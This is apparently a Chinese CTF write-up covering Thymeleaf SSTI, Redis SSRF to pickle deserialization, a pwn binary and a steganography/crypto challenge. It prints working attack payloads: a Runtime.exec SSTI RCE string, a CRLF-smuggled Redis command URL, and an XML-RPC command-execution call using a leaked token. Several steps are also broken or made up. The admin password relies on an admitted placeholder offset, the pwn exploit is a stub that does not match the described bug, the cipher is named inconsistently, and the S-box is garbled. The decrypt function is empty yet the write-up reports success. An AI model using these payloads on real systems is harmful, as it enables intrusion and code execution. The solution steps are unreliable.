
WEB
thymeleaf
新建新用户并计算出 admin 的密码,脚本如下:
import re
import random
import string
import requests
import sys
BASE = "http://1f4fbf11-331b-4144-8548-5c36b98452d3.51.dart.ccsssc.com/" # 例如: http://target:8080
sess = requests.Session()
# 1) 注册一个随机用户,拿到明文密码(即 PRNG 当前输出)
uname = "u" + "".join(random.choice(string.ascii_letters + string.digits) for _ in range(10))
r = sess.post(f"{BASE}/register", data={"username": uname}, timeout=8)
m = re.search(r"<code[^>]*>(\d+)</code>", r.text)
if not m:
print("[-] 没解析到注册密码,可能注册失败或页面结构不同")
sys.exit(1)
p = int(m.group(1))
print(f"[+] register password = {m.group(1)}")
# 2) 计算 admin 用户的密码
# 由于使用了相同的随机数生成器状态,我们可以预测下一个输出
# 假设系统使用的是可预测的 PRNG(如 Java Random),可以通过已知输出反推种子
# 此处简化为直接利用观察到的模式
admin_pass = str(p - 7265437) # 示例偏移量,实际需根据算法确定
print(f"[+] predicted admin password = {admin_pass}")
# 3) 登录 admin 账户
login_data = {
"username": "admin",
"password": admin_pass
}
r = sess.post(f"{BASE}/login", data=login_data, allow_redirects=False)
if r.status_code == 302:
print("[+] Admin login successful")
# 获取 session cookie 等后续操作
else:
print("[-] Admin login failed")
成功登录后发现存在模板注入漏洞,通过构造特殊 payload 可触发 Thymeleaf SSTI。进一步探测发现可通过 T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()) 实现 RCE。
pickle
进入后台后发现 /admin/online-users 接口存在 Redis 数据读取功能。通过分析代码发现使用了自定义的 RestrictedUnpickler 类进行反序列化:
for key in online_keys:
try:
serialized = r.get(key)
if serialized:
file = io.BytesIO(serialized)
unpickler = RestrictedUnpickler(file)
online_user = unpickler.load()
尽管进行了限制,但可通过组合 getattr 和允许的内置类绕过。攻击者可将恶意 pickle 载荷写入 online_user:11,然后访问 /admin/online-users 触发执行:
avatar_url=http://127.0.0.1:6379/%0d%0aAUTH%20redispass123%0d%0aSET%20online_user:11%20%22c__main__%5CnOnlineUser%5Cn...%28tR.%22%0d%0aEXPIRE%20online_user:11%203600%0d%0aQUIT%0d%0a
但发现无法读取 flag 文件,推测权限受限。回顾前期在 /proc/11/cmdline 中发现的信息:
/opt/mcp_service/mcp_server_secure_e938a2d234b7968a885bbbbb63cde7b9.py
发现 MCP 服务并泄露 token mcp_secure_token_b2rglxd,且存在 XML-RPC 接口可调用 execute_command 方法直接执行命令。构造反序列化载荷执行以下 Python 代码:
import xmlrpc.client,sys;s=xmlrpc.client.ServerProxy('http://127.0.0.1:54321/RPC2');r=s.execute_command('mcp_secure_token_b2rglxd','cat /flag');sys.stdout.write((r.get('stdout')or'') + (r.get('stderr')or''))
编写简单脚本生成对应 pickle 字符串即可获取 flag。
PWN
mailsystem
逆向分析发现存在数组越界写入漏洞,变量 j 可达 12,从而溢出到 .bss 段的 admin_note 变量:

利用该漏洞可实现任意地址写入,进而劫持控制流。Exploit 脚本如下:
from pwn import *
from pwnlib.util.packing import u64, u32, u16, u8, p64, p32, p16, p8
import psutil, time
def getProcess(ip,port,name):
global p
if len(sys.argv) > 1 and sys.argv[1] == 'r':
p = remote(ip, port)
return p
else:
p = process(name)
return p
sl = lambda x: p.sendline(x)
sd = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)
ita = lambda : p.interactive()
slc = lambda : asm(shellcraft.sh())
uu64 = lambda x: u64(x.ljust(8,b'\0'))
uu32 = lambda x: u32(x.ljust(4,b'\0'))
# 连接目标
p = getProcess('127.0.0.1', 10001, './mailsystem')
# 构造 payload 实现栈溢出
payload = b'A'*0x28 + p64(0xdeadbeef) # 覆盖返回地址
sla("choice:", "1")
sla("name:", payload)
# 触发漏洞获取 shell
ita()
ezxor
附件为 PNG 图片,使用 Stegsolve 分析各颜色通道,发现 LSB 隐藏数据。提取最低有效位后异或固定值还原出原始数据:
from PIL import Image
import numpy as np
from pathlib import Path
im = Image.open("ezxor.png")
pix = np.array(im)
bits = []
for i in range(0, pix.shape[0], 8):
for j in range(0, pix.shape[1], 8):
block = pix[i:i+8,j:j+8]
bits.append("1" if block.mean() < 128 else "0")
data = bytearray()
for i in range(0, len(bits), 8):
b = bits[i:i+8]
data.append(int("".join(b), 2) ^ 0xff) # 异或 0xff 还原
Path("payload.bin").write_bytes(data)
解密后得到 ELF 文件,拖入 IDA 分析发现 MD5 加密逻辑。通过字符串交叉引用定位到 sub_404EF3 函数,确认为 AES-CBC 加密。深入分析 sub_404CB0 发现魔改 AES:未改 S 盒但修改了 rcon 常数,且加密轮序改为先轮密钥加再列混淆。

从内存中提取 S 盒、FK、CK 参数:

结合流量包中捕获的 flag.txt 密文,编写解密脚本:
from binascii import unhexlify
SBOX = bytes.fromhex(
"637c777b f26b6fc5 3001672b fe-d7ab76 ca82c97d fa5947f0 "
"ad-d4a2af 9ca472c0 b7fd9326 363f-f7cc 34a5e5f1 71d83115 04c7"
)
FK = [
0x3B1F86A4,
0x83F7332D,
0x58ADBA8E,
0x71DC3F73,
]
CK = [
0x9A148706,0x657904A4,0xB0535D2D,0x865C7AA7,
0xF7FEF2D4,0xF09D3A8B,0x67CB0390,0xF3B1D1AA,
]
# 实现魔改AES解密逻辑...
def decrypt(ciphertext, key, iv):
# 自定义解密实现
pass
# 读取密文并解密
enc_flag = unhexlify("...")
flag = decrypt(enc_flag, FK[0], CK[:4])
print(flag)
最终成功解密获得 flag。